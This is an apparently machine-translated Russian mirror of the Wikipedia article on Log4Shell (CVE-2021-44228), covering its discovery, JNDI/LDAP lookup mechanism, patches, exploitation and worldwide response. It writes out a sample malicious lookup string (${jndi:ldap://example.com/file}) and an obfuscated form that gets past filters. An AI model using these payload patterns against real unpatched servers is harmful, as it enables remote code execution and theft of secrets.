✖


Jump to content

Журнал4Shell

Журнал4Shell
Идентификатор(ы) CVE CVE- 2021-44228
Дата обнаружения 24 ноября 2021 г .; 2 года назад ( 24.11.2021 )
Дата исправления 6 декабря 2021 г .; 2 года назад ( 06.12.2021 )
Первооткрыватель Чэнь Чжаоцзюнь из команды облачной безопасности Alibaba [1]
Затронутое программное обеспечение Приложения, регистрирующие ввод пользователя с помощью Log4j 2

Log4Shell ( CVE-2021-44228 ) — уязвимость нулевого дня в Log4j , популярной платформе ведения журналов Java , предполагающая выполнение произвольного кода . [2] [3] Уязвимость существовала незамеченной с 2013 года и была раскрыта в частном порядке Apache Software Foundation , проектом которой является Log4j, Чэнь Чжаоцзюнем из команды безопасности Alibaba Cloud 24 ноября 2021 года. До того, как 10 декабря стал доступен официальный идентификатор CVE. В 2021 году уязвимость была распространена под названием «Log4Shell», данным Фри Уортли из команды LunaSec, которое первоначально использовалось для отслеживания проблемы в Интернете. [2] [1] [4] [5] [6] Apache присвоил Log4Shell рейтинг серьезности CVSS 10, самый высокий доступный балл. [7] Эксплойт был прост в исполнении и, по оценкам, мог затронуть сотни миллионов устройств. [6] [8]

Уязвимость использует преимущество Log4j, разрешающее запросы к произвольным LDAP и JNDI . серверам [2] [9] [10] позволяя злоумышленникам выполнять произвольный код Java на сервере или другом компьютере или утечку конфиденциальной информации. [5] Список затронутых программных проектов был опубликован командой Apache Security Team . [11] Затронутые коммерческие сервисы включают Amazon Web Services , [12] Cloudflare , iCloud , [13] Майнкрафт: Java-издание , [14] Steam , Tencent QQ и многие другие. [9] [15] [16] По данным Wiz и EY , уязвимость затронула 93% корпоративных облачных сред. [17]

Раскрытие уязвимости вызвало бурную реакцию со стороны экспертов по кибербезопасности. Компания по кибербезопасности Tenable заявила, что этот эксплойт был «самой большой и самой критической уязвимостью за всю историю». [18] Ars Technica назвала это «возможно, самой серьезной уязвимостью за всю историю». [19] и The Washington Post заявили, что описания специалистов по безопасности «граничат с апокалипсисом». [8]

Фон

[ редактировать ]
Основная статья: Log4j

Log4j — это ведения журналов с открытым исходным кодом , которая позволяет разработчикам программного обеспечения регистрировать платформа данные в своих приложениях. Эти данные могут включать пользовательский ввод. [20] Он повсеместно используется в приложениях Java, особенно в корпоративном программном обеспечении. [5] Первоначально написанный в 2001 году Чеки Гюлькю, сейчас он является частью Apache Logging Services, проекта Apache Software Foundation . [21] Том Келлерманн, член Комиссии президента Обамы по кибербезопасности, описал Apache как «одну из гигантских опор моста, который облегчает соединительную ткань между мирами приложений и компьютерной средой». [22]

Поведение

[ редактировать ]

Интерфейс именования и каталогов Java (JNDI) позволяет выполнять поиск объектов Java во время выполнения программы по указанному пути к их данным. JNDI может использовать несколько интерфейсов каталогов, каждый из которых предоставляет свою схему поиска файлов. Среди этих интерфейсов — облегченный протокол доступа к каталогам (LDAP), протокол, не специфичный для Java. [23] который получает данные объекта в виде URL-адреса с соответствующего сервера, локального или любого в Интернете. [24]

В конфигурации по умолчанию при регистрации строки Log4j 2 выполняет подстановку строки в выражениях вида ${prefix:name}. [24] Например, Text: ${java:version} может быть преобразован в Text: Java version 1.7.0_67. [25] Среди признанных выражений есть ${jndi:<lookup>}; указав поиск через LDAP, можно запросить произвольный URL-адрес и загрузить его как данные объекта Java. ${jndi:ldap://example.com/file}, например, будет загружать данные с этого URL-адреса при подключении к Интернету. Введя регистрируемую строку, злоумышленник может загрузить и выполнить вредоносный код, размещенный по общедоступному URL-адресу. [24] Даже если выполнение данных отключено, злоумышленник все равно может получить данные, например секретные переменные среды , поместив их в URL-адрес, и в этом случае они будут заменены и отправлены на сервер злоумышленника. [26] [27] Помимо LDAP, к другим потенциально пригодным для использования протоколам поиска JNDI относятся его безопасный вариант LDAPS, удаленный вызов методов Java (RMI), система доменных имен (DNS) и Интернет-протокол Inter-ORB (IIOP). [28] [29]

Поскольку HTTP- запросы часто регистрируются, распространенным вектором атаки является размещение вредоносной строки в URL-адресе HTTP-запроса или в обычно регистрируемом HTTP-заголовке , например: User-Agent. Ранние меры по смягчению последствий включали блокировку любых запросов, содержащих потенциально вредоносное содержимое, например ${jndi. [30] Такие базовые решения по сопоставлению строк можно обойти, запутав запрос: ${${lower:j}ndi, например, будет преобразован в поиск JNDI после выполнения операции над буквой в нижнем регистре. j. [31] Даже если входные данные, такие как имя, не регистрируются сразу, они могут быть зарегистрированы позже во время внутренней обработки и выполнения их содержимого. [24]

смягчение последствий

[ редактировать ]

Исправления для этой уязвимости были выпущены 6 декабря 2021 года, за три дня до публикации уязвимости, в версии Log4j 2.15.0-rc1. [32] [33] [34] Исправление включало ограничение серверов и протоколов, которые могут использоваться для поиска. Исследователи обнаружили связанную ошибку CVE-2021-45046, которая допускает локальное или удаленное выполнение кода в определенных конфигурациях, отличных от стандартных, и была исправлена ​​в версии 2.16.0, которая отключила все функции использования JNDI и поддержку поиска сообщений. [35] [36] Были обнаружены еще две уязвимости в библиотеке: атака типа «отказ в обслуживании» , отслеживаемая как CVE-2021-45105 и исправленная в версии 2.17.0; и трудную для использования уязвимость удаленного выполнения кода , отслеживаемую как CVE-2021-44832 и исправленную в версии 2.17.1. [37] [38] В предыдущих версиях класс org.apache.logging.log4j.core.lookup.JndiLookup необходимо удалить из пути к классам, чтобы устранить обе уязвимости. [7] [35] Ранним рекомендуемым исправлением для более старых версий было задание системного свойства log4j2.formatMsgNoLookups к true, но это изменение не предотвращает использование CVE-2021-45046, а позже выяснилось, что в некоторых случаях поиск сообщений не отключается. [7] [35]

Более новые версии среды выполнения Java (JRE) также смягчают эту уязвимость, блокируя загрузку удаленного кода по умолчанию, хотя в некоторых приложениях все еще существуют другие векторы атак. [2] [26] [39] [40] Опубликовано несколько методов и инструментов, которые помогают обнаруживать уязвимые версии Log4j, используемые во встроенных пакетах Java. [41]

Там, где применение обновленных версий было невозможно из-за различных ограничений, таких как нехватка ресурсов или сторонних управляемых решений, фильтрация исходящего сетевого трафика из уязвимых развертываний была основным средством для многих. [42] Подход рекомендован NCC Group [43] и Национальный центр кибербезопасности (Великобритания) , [44] и является примером меры глубокоэшелонированной защиты . Об эффективности такой фильтрации свидетельствует [45] путем лабораторных экспериментов, проведенных с межсетевыми экранами, способными перехватывать исходящий трафик с несколькими полностью или частично уязвимыми версиями самой библиотеки и JRE .

Использование

[ редактировать ]

Эксплойт позволяет хакерам получить контроль над уязвимыми устройствами с помощью Java. [6] Некоторые хакеры используют уязвимость для использования устройств жертв для майнинга криптовалюты , создания ботнетов , рассылки спама, установки бэкдоров и других незаконных действий, таких как программ-вымогателей . атаки [6] [8] [46] В течение нескольких дней после раскрытия уязвимости Check Point наблюдала миллионы атак, инициированных хакерами, при этом некоторые исследователи наблюдали скорость более ста атак в минуту, что в конечном итоге привело к попыткам атак на более чем 40% бизнес-сетей по всему миру. [6] [22]

По словам Cloudflare генерального директора Мэтью Принса , доказательства использования или сканирования эксплойта появились еще 1 декабря, за девять дней до того, как он был публично раскрыт. [47] По данным компании по кибербезопасности GreyNoise, несколько IP-адресов сканировали веб - сайты в поисках серверов, имеющих уязвимость. [48] Несколько ботнетов начали сканирование на наличие уязвимости, в том числе ботнет Muhstik к 10 декабря, а также Mirai и Tsunami. [6] [47] [49] Группа вымогателей Conti использовала уязвимость 17 декабря. [8]

По данным Check Point, некоторые спонсируемые государством группы в Китае и Иране также использовали эксплойт, но неизвестно, использовался ли эксплойт Израилем, Россией или Соединенными Штатами до раскрытия уязвимости. [8] [18] Check Point сообщила, что 15 декабря 2021 года поддерживаемые Ираном хакеры попытались проникнуть в сети израильских предприятий и правительственных учреждений. [8]

Реакция и влияние

[ редактировать ]

Правительственный

[ редактировать ]

В США директор Агентства по кибербезопасности и безопасности инфраструктуры (CISA) Джен Истерли охарактеризовала этот эксплойт как «один из самых серьезных, которые я видел за всю свою карьеру, если не самый серьезный», объяснив, что сотни были затронуты миллионы устройств, и мы советуем производителям расставлять приоритеты в обновлениях программного обеспечения. [6] [50] [46] Гражданские агентства, заключившие контракт с правительством США, должны были до 24 декабря 2021 года исправить уязвимости. [8] 4 января Федеральная торговая комиссия (FTC) заявила о своем намерении преследовать компании, которые не принимают разумных мер по обновлению используемого программного обеспечения Log4j. [51] На встрече в Белом доме была разъяснена важность обеспечения безопасности программного обеспечения с открытым исходным кодом – часто также выполняемого в основном небольшим количеством добровольцев – для национальной безопасности. В то время как за некоторыми проектами с открытым исходным кодом следят многие , другие не имеют большого количества людей или вообще не имеют людей, обеспечивающих их безопасность. [52] [53]

Немецкий Bundesamt für Sicherheit in der Informationstechnik (BSI) определил эксплойт как находящийся на самом высоком уровне угрозы агентства, назвав его «чрезвычайно критической угрозой» (переведено). Он также сообщил, что несколько атак уже были успешными и что масштабы эксплойта пока трудно оценить. [54] [55] Нидерландов Национальный центр кибербезопасности (NCSC) начал постоянный список уязвимых приложений. [56] [57]

Канадский центр кибербезопасности (CCCS) призвал организации принять немедленные меры. [58] Налоговое управление Канады временно закрыло свои онлайн-сервисы после того, как узнало об уязвимости, а правительство Квебека закрыло почти 4000 своих веб-сайтов в качестве «превентивной меры». [59] Министерство обороны Бельгии столкнулось с попыткой взлома и было вынуждено отключить часть своей сети. [60]

Китая Министерство промышленности и информационных технологий приостановило работу с Alibaba Cloud в качестве партнера по разведке угроз кибербезопасности на шесть месяцев из-за того, что оно не сообщило об уязвимости в первую очередь правительству. [61]

Предприятия

[ редактировать ]

Исследования, проведенные Wiz и EY [17] показало, что 93% облачной корпоративной среды были уязвимы для Log4Shell. 7% уязвимых рабочих нагрузок доступны в Интернете и подвержены попыткам широкого использования. По данным исследования, через десять дней после раскрытия уязвимости (20 декабря 2021 г.) в облачных средах в среднем было исправлено только 45% уязвимых рабочих нагрузок. Log4Shell затронул облачные данные Amazon, Google и Microsoft. [8] Microsoft попросила клиентов Windows и Azure сохранять бдительность после наблюдения за спонсируемыми государством и киберпреступниками, проверяющими системы на наличие уязвимости Log4j «Log4Shell» в течение декабря 2021 года. [62]

Компания управлению человеческими ресурсами и персоналом по UKG , одна из крупнейших компаний в отрасли, подверглась атаке программы-вымогателя , которая затронула крупный бизнес. [19] [63] UKG заявила, что у нее нет доказательств использования Log4Shell в инциденте, хотя аналитик Аллан Лиска из компании по кибербезопасности Recorded Future предположил, что связь, возможно, существовала. [63]

Поскольку более крупные компании начали выпускать исправления для уязвимости, риск для малого бизнеса увеличился, поскольку хакеры сосредоточились на более уязвимых целях. [46]

Конфиденциальность

[ редактировать ]

Некоторые персональные устройства, подключенные к Интернету, такие как смарт-телевизоры и камеры видеонаблюдения, были уязвимы для эксплойта. Некоторое программное обеспечение может никогда не получить исправление из-за прекращения поддержки производителя. [8]

Анализ

[ редактировать ]

По состоянию на 14 декабря 2021 г. почти половина всех корпоративных сетей в мире активно исследовались, при этом за 24 часа было создано более 60 вариантов эксплойта. [64] Check Point Software Technologies в подробном анализе описала ситуацию как «настоящую киберпандемию» и охарактеризовала потенциальный ущерб как «неисчислимый». [65] В нескольких первоначальных рекомендациях преувеличивалось количество уязвимых пакетов, что приводило к ложным срабатываниям. В частности, пакет «log4j-api» был помечен как уязвимый, тогда как на самом деле дальнейшие исследования показали, что уязвим только основной пакет «log4j-core». Это было подтверждено как в исходной теме, так и в исходной теме. [66] и внешними исследователями безопасности. [67]

Журнал о технологиях Wired написал, что, несмотря на предыдущую «шумиху» вокруг многочисленных уязвимостей, «уязвимость Log4j   ... оправдывает шумиху по множеству причин». [18] Журнал объясняет, что широкое распространение Log4j, уязвимость, которую трудно обнаружить потенциальным целям, и простота передачи кода жертвам создали «сочетание серьезности, простоты и распространенности, которое встревожило сообщество безопасности». [18] Wired также описал этапы использования хакерами Log4Shell; группы криптомайнеров сначала используют уязвимость, брокеры данных затем продают «точку опоры» киберпреступникам, которые, наконец, продолжают участвовать в атаках с использованием программ-вымогателей, шпионаже и уничтожении данных. [18]

Амит Йоран , генеральный директор Tenable и директор-основатель Группы готовности к чрезвычайным ситуациям в США , заявил, что «[Log4Shell] на сегодняшний день является самой большой и самой критической уязвимостью за всю историю», отметив, что сложные атаки начались вскоре после ошибки, сказав: « Мы также уже видим, что его используют для атак с использованием программ-вымогателей, что, опять же, должно стать серьезным сигналом тревоги... Мы также видели сообщения о том, что злоумышленники использовали Log4Shell для уничтожения систем, даже не пытаясь получить выкуп, что является довольно необычным поведением». . [18] Старший исследователь угроз Sophos Шон Галлахер сказал: «Честно говоря, самая большая угроза здесь заключается в том, что люди уже получили доступ и просто сидят в нем, и даже если вы решите проблему, кто-то уже находится в сети… Это будет вокруг, пока существует Интернет». [18]

Согласно сообщению Bloomberg News , некоторый гнев был направлен на разработчиков Apache из-за их неспособности устранить уязвимость после того, как на конференции по кибербезопасности 2016 года были сделаны предупреждения об эксплойтах широких классов программного обеспечения, включая Log4j. [68]

Ссылки

[ редактировать ]
  1. ^ Jump up to: а б Поволный, Стив; Макки, Дуглас (10 декабря 2021 г.). «Уязвимость Log4Shell — это уголь в наших запасах на 2021 год» . Макафи . Проверено 12 декабря 2021 г.
  2. ^ Jump up to: а б с д Уортли, Фри; Тромпсон, Крис; Эллисон, Форрест (9 декабря 2021 г.). «Log4Shell: эксплойт нулевого дня RCE обнаружен в log4j 2, популярном пакете журналирования Java» . ЛунаСек . Архивировано из оригинала 16 июня 2024 года . Проверено 16 июня 2024 г.
  3. ^ «CVE-2021-44228» . Распространенные уязвимости и риски . Проверено 12 декабря 2021 г.
  4. ^ «Худший Apache Log4j RCE Zero Day появился в Интернете» . Кибер Кендра . 9 декабря 2021 г. Проверено 12 декабря 2021 г.
  5. ^ Jump up to: а б с Ньюман, Лили Хэй (10 декабря 2021 г.). « Интернет в огне » . Проводной . ISSN   1059-1028 . Проверено 12 декабря 2021 г.
  6. ^ Jump up to: а б с д и ж г Мерфи, Ханна (14 декабря 2021 г.). «Хакеры осуществили более 1,2 миллиона атак через уязвимость Log4J» . Файнэншл Таймс . Проверено 17 декабря 2021 г.
  7. ^ Jump up to: а б с «Уязвимости безопасности Apache Log4j» . Лог4дж . Фонд программного обеспечения Apache . Проверено 12 декабря 2021 г.
  8. ^ Jump up to: а б с д и ж г час я Хантер, Татум; де Винк, Геррит (20 декабря 2021 г.). «Сейчас происходит «самое серьезное» нарушение безопасности за всю историю. Вот что вам нужно знать» . Вашингтон Пост .
  9. ^ Jump up to: а б Мотт, Натаниэль (10 декабря 2021 г.). «Бесчисленное количество серверов уязвимо для уязвимости нулевого дня Apache Log4j» . Журнал ПК . Проверено 12 декабря 2021 г.
  10. ^ Гудин, Дэн (10 декабря 2021 г.). «Нулевой день в вездесущем инструменте Log4j представляет серьезную угрозу для Интернета» . Арс Техника . Проверено 12 декабря 2021 г.
  11. ^ «Проекты Apache, на которые влияет log4j CVE-2021-44228» . 14 декабря 2021 г.
  12. ^ «Обновление проблемы Apache Log4j2 (CVE-2021-44228)» . Веб-сервисы Amazon . 12 декабря 2021 г. Проверено 13 декабря 2021 г.
  13. ^ Лавджой, Бен (14 декабря 2021 г.). «Apple исправляет уязвимость iCloud Log4Shell, которую называют самой критической за десятилетие» . 9to5Mac .
  14. ^ «Уязвимость безопасности в Minecraft: Java Edition» . Шахтерское ремесло . Студия Моджанг . Проверено 13 декабря 2021 г.
  15. ^ Гудин, Дэн (10 декабря 2021 г.). «Все крупнейшие игроки Интернета пострадали от критического 0-го дня Log4Shell» . АрсТехника . Проверено 13 декабря 2021 г.
  16. ^ Рандл, Дэвид Уберти и Джеймс (15 декабря 2021 г.). «Что такое уязвимость Log4j?» . Wall Street Journal – через www.wsj.com.
  17. ^ Jump up to: а б «Предприятия на полпути к исправлению Log4Shell | Блог Wiz» . www.wiz.io. ​20 декабря 2021 г. Проверено 20 декабря 2021 г.
  18. ^ Jump up to: а б с д и ж г Барретт, Брайан. «Следующая волна атак Log4J будет жестокой» . Проводной . ISSN   1059-1028 . Проверено 17 декабря 2021 г.
  19. ^ Jump up to: а б Гудин, Дэн (13 декабря 2021 г.). «Пока Log4Shell сеет хаос, служба расчета заработной платы сообщает об атаке программы-вымогателя» . Арс Техника . Проверено 17 декабря 2021 г.
  20. ^ Ян, Тао; Дэн, Ци; Чжан, Хаоже; Фу, Ю; Грюнцвейг, Джош (10 декабря 2021 г.). «Еще одна уязвимость Apache Log4j активно используется (CVE-2021-44228)» . Блок 42 . Пало-Альто Сети .
  21. ^ «Апач Log4j 2» . Фонд программного обеспечения Apache . Проверено 12 декабря 2021 г.
  22. ^ Jump up to: а б Бирнс, Джесси (14 декабря 2021 г.). «Хилликон-Вэлли — уязвимость Apache вызывает тревогу» . Холм . Проверено 17 декабря 2021 г.
  23. ^ Сермерсхайм, Дж. (июнь 2006 г.). Облегченный протокол доступа к каталогам (LDAP): Протокол . Международная электронная оперативная группа. дои : 10.17487/RFC4513 . RFC rfc4511 . Проверено 13 декабря 2021 г.
  24. ^ Jump up to: а б с д Грэм-Камминг, Джон (10 декабря 2021 г.). «Внутри уязвимости Log4j2 (CVE-2021-44228)» . Блог Cloudflare . Проверено 13 декабря 2021 г.
  25. ^ «Поиски» . Лог4дж . Фонд программного обеспечения Apache . Проверено 13 декабря 2021 г.
  26. ^ Jump up to: а б Даклин, Пол (12 декабря 2021 г.). «Log4Shell объяснил – как это работает, почему вам нужно это знать и как это исправить» . Голая охрана . Софос . Проверено 12 декабря 2021 г.
  27. ^ Мисслер, Дэниел (13 декабря 2021 г.). «Ситуация с log4j (Log4Shell)» . Обучение без присмотра .
  28. ^ Дурайшами, Ранга; Верма, Ашиш; Анг, Мигель Карло (13 декабря 2021 г.). «Исправьте сейчас уязвимость Apache Log4j под названием Log4Shell, которая активно используется» . Тренд Микро . Проверено 14 декабря 2021 г.
  29. ^ Наранг, Сатнам (10 декабря 2021 г.). «CVE-2021-44228: Доказательство концепции критической уязвимости Apache Log4j, связанной с удаленным выполнением кода (Log4Shell)» . Тенабл Блог . Проверено 14 декабря 2021 г.
  30. ^ Габор, Габриэль; Блюз, Габриэль (10 декабря 2021 г.). «CVE-2021-44228 — устранение ошибок Log4j RCE в течение 0 дней» . Блог Cloudflare . Проверено 13 декабря 2021 г.
  31. ^ Хахад, Мунир (12 декабря 2021 г.). «Уязвимость Apache Log4j CVE-2021-44228 вызывает широкую обеспокоенность» . Проверено 12 декабря 2021 г.
  32. ^ «Ограничить доступ к LDAP через JNDI с помощью rgoers #608» . Лог4дж . 5 декабря 2021 г. Проверено 12 декабря 2021 г. — через GitHub .
  33. ^ Бергер, Андреас (17 декабря 2021 г.). «Что такое Log4Shell? Объяснение уязвимости Log4j (и что с этим делать)» . Новости Dynatrace . Apache выпустил патч для CVE-2021-44228 версии 2.15 6 декабря. Однако этот патч оставил часть уязвимости незафиксированной, в результате чего появился CVE-2021-45046 и второй патч версии 2.16, выпущенный 13 декабря. Apache 17 декабря выпустила третий патч версии 2.17, исправляющий еще одну связанную уязвимость — CVE-2021-45105.
  34. ^ Рудис, лучший представитель породы (10 декабря 2021 г.). «Широкое использование критического удаленного выполнения кода в Apache Log4j | Блог Rapid7» . Рапид7 .
  35. ^ Jump up to: а б с «CVE-2021-45046» . Распространенные уязвимости и риски . 15 декабря 2021 г. Проверено 15 декабря 2021 г.
  36. ^ Грейг, Джонатан (14 декабря 2021 г.). «Обнаружена вторая уязвимость Log4j, патч уже выпущен» . ЗДНет . Проверено 17 декабря 2021 г.
  37. ^ «CVE-2021-45105» . Национальная база данных уязвимостей . Проверено 4 января 2022 г.
  38. ^ «CVE-2021-44832» . Национальная база данных уязвимостей . Проверено 4 января 2022 г.
  39. ^ «Комплект разработки Java(TM) SE 8, обновление 121 (JDK 8u121) Примечания к выпуску» . Оракул. 17 января 2017 года . Проверено 13 декабря 2021 г.
  40. ^ «Использование JNDI-инъекций в Java» . Веракод . 3 января 2019 года . Проверено 15 декабря 2021 г.
  41. ^ «Руководство: как обнаружить и устранить уязвимость Log4Shell (CVE-2021-44228)» . www.lunasec.io . 13 декабря 2021 г. Проверено 13 декабря 2021 г.
  42. ^ «Обзор мероприятия Log4j в декабре 2021 г.» (PDF) . Совет по обзору кибербезопасности . 11 июля 2022 г. Проверено 18 января 2023 г.
  43. ^ «Рекомендации и ресурсы по Apache Log4j Zero Day» . Группа компаний НКЦ . Проверено 18 января 2023 г.
  44. ^ «Предупреждение: уязвимости Apache Log4j» . Национальный центр кибербезопасности (Великобритания) . 10 декабря 2021 г. Проверено 18 января 2023 г.
  45. ^ «Log4Shell и его следы в выходном фильтре сети» . Чейзерные системы . 12 декабря 2021 г. Проверено 18 января 2023 г.
  46. ^ Jump up to: а б с Вудьярд, Крис. « Критическая уязвимость»: небольшим фирмам может быть труднее помешать хакерам воспользоваться уязвимостью Log4j» . США сегодня . Проверено 17 декабря 2021 г.
  47. ^ Jump up to: а б Дакетт, Крис. «Активность Log4j RCE началась 1 декабря, когда ботнеты начали использовать уязвимость» . ЗДНет . Проверено 13 декабря 2021 г.
  48. ^ «Эксплуатация уязвимости Apache Log4j — CVE-2021-44228» . Исследования Грейнойза . 10 декабря 2021 г. Проверено 14 декабря 2021 г.
  49. ^ Зугец, Мартин (13 декабря 2021 г.). «Техническая консультация: критическая уязвимость нулевого дня в Log4j2, эксплуатируемая в реальных условиях» . Бизнес-инсайты . Битдефендер .
  50. ^ «Заявление директора CISA Easterly об уязвимости «Log4j»» . СНГА . 11 декабря 2021 г.
  51. ^ «ФТК предупреждает компании о необходимости устранить уязвимость безопасности Log4j» . Федеральная торговая комиссия (FTC). 4 января 2022 г. Проверено 6 января 2022 г.
  52. ^ «После Log4j программное обеспечение с открытым исходным кодом теперь является проблемой национальной безопасности» . Гизмодо . Проверено 16 января 2022 г.
  53. ^ Грейг, Джонатан. «После Log4j Белый дом опасается следующей крупной уязвимости с открытым исходным кодом» . ЗДНет . Проверено 16 января 2022 г.
  54. ^ Зауэрвейн, Йорг (12 декабря 2021 г.). «BSI предупреждает об уязвимости безопасности» . Тагешау (на немецком языке).
  55. ^ «Красное предупреждение: уязвимость Log4Shell вызывает чрезвычайно критическую угрозу» [Красное предупреждение: уязвимость Log4Shell вызывает чрезвычайно критическую угрозу] (пресс-релиз) (на немецком языке). Федеральное управление информационной безопасности . 11 декабря 2021 г.
  56. ^ Дж. Воган-Николс, Стивен (14 декабря 2021 г.). «Log4Shell: у нас такие проблемы» . Новый стек .
  57. ^ «NCSC-NL/log4shell» . Национальный центр кибербезопасности (Нидерланды) . Получено 14 декабря 2021 г. - через GitHub.
  58. ^ «Заявление министра национальной обороны об уязвимости Apache и призыв к канадским организациям принять срочные меры» . Правительство Канады . 12 декабря 2021 года. Архивировано из оригинала 20 декабря 2021 года . Проверено 12 декабря 2021 г.
  59. ^ Кабрера, Холли (12 декабря 2021 г.). «Столкнувшись с угрозами кибербезопасности, Квебек закрывает правительственные веб-сайты для проверки» . Новости ЦБК . Проверено 12 декабря 2021 г.
  60. ^ Ступп, Екатерина (21 декабря 2021 г.). «Хакеры используют уязвимость Log4j в Министерстве обороны Бельгии» . Уолл Стрит Джорнал. Архивировано из оригинала 7 февраля 2022 года . Проверено 14 февраля 2022 г. {{cite web}}: CS1 maint: bot: исходный статус URL неизвестен ( ссылка )
  61. ^ «Ошибка Apache Log4j: министерство промышленности Китая отказывается от поддержки Alibaba Cloud за то, что оно не сообщило об ошибке в первую очередь правительству» . 22 декабря 2021 г.
  62. ^ Тунг, Лиам. «Уровни атак с помощью уязвимостей Log4j остаются высокими, — предупреждает Microsoft» . ЗДНет . Проверено 5 января 2022 г.
  63. ^ Jump up to: а б Брей, Гайавата (15 декабря 2021 г.). «Появление ошибки в программном обеспечении Log4j порождает во всем мире беспокойство по поводу кибератак — The Boston Globe» . Бостон Глобус . Проверено 17 декабря 2021 г.
  64. ^ «Почти половина сетей исследовала слабые места Log4Shell» . Компьютереженедельник . 14 декабря 2021 г.
  65. ^ «Цифры, стоящие за киберпандемией – подробное погружение» . Check Point Программное обеспечение . 13 декабря 2021 г.
  66. ^ «LOG4J2-3201: Ограничьте количество протоколов, которые может использовать JNDI, и ограничьте LDAP» . Трекер проблем JIRA от Apache . Проверено 14 декабря 2021 г.
  67. ^ Менаше, Шахар (13 декабря 2021 г.). «Уязвимость нулевого дня в Log4Shell: все, что вам нужно знать» . Блог JFrog . Проверено 13 декабря 2021 г.
  68. ^ «В гонке за исправлением потенциально катастрофического недостатка программного обеспечения» . Bloomberg.com . 13 декабря 2021 г.
[ редактировать ]
Retrieved from "https://en.wikipedia.org/w/index.php?title=Log4Shell&oldid=1233536366"
Arc.Ask3.Ru: конец переведенного документа.
Arc.Ask3.Ru
Номер скриншота №: 68dd5476f3213ab81924e0c8cd730494__1720530540
URL1:https://arc.ask3.ru/arc/aa/68/94/68dd5476f3213ab81924e0c8cd730494.html
Заголовок, (Title) документа по адресу, URL1:
Log4Shell - Wikipedia
Данный printscreen веб страницы (снимок веб страницы, скриншот веб страницы), визуально-программная копия документа расположенного по адресу URL1 и сохраненная в файл, имеет: квалифицированную, усовершенствованную (подтверждены: метки времени, валидность сертификата), открепленную ЭЦП (приложена к данному файлу), что может быть использовано для подтверждения содержания и факта существования документа в этот момент времени. Права на данный скриншот принадлежат администрации Ask3.ru, использование в качестве доказательства только с письменного разрешения правообладателя скриншота. Администрация Ask3.ru не несет ответственности за информацию размещенную на данном скриншоте. Права на прочие зарегистрированные элементы любого права, изображенные на снимках принадлежат их владельцам. Качество перевода предоставляется как есть. Любые претензии, иски не могут быть предъявлены. Если вы не согласны с любым пунктом перечисленным выше, вы не можете использовать данный сайт и информация размещенную на нем (сайте/странице), немедленно покиньте данный сайт. В случае нарушения любого пункта перечисленного выше, штраф 55! (Пятьдесят пять факториал, Денежную единицу (имеющую самостоятельную стоимость) можете выбрать самостоятельно, выплаичвается товарами в течение 7 дней с момента нарушения.)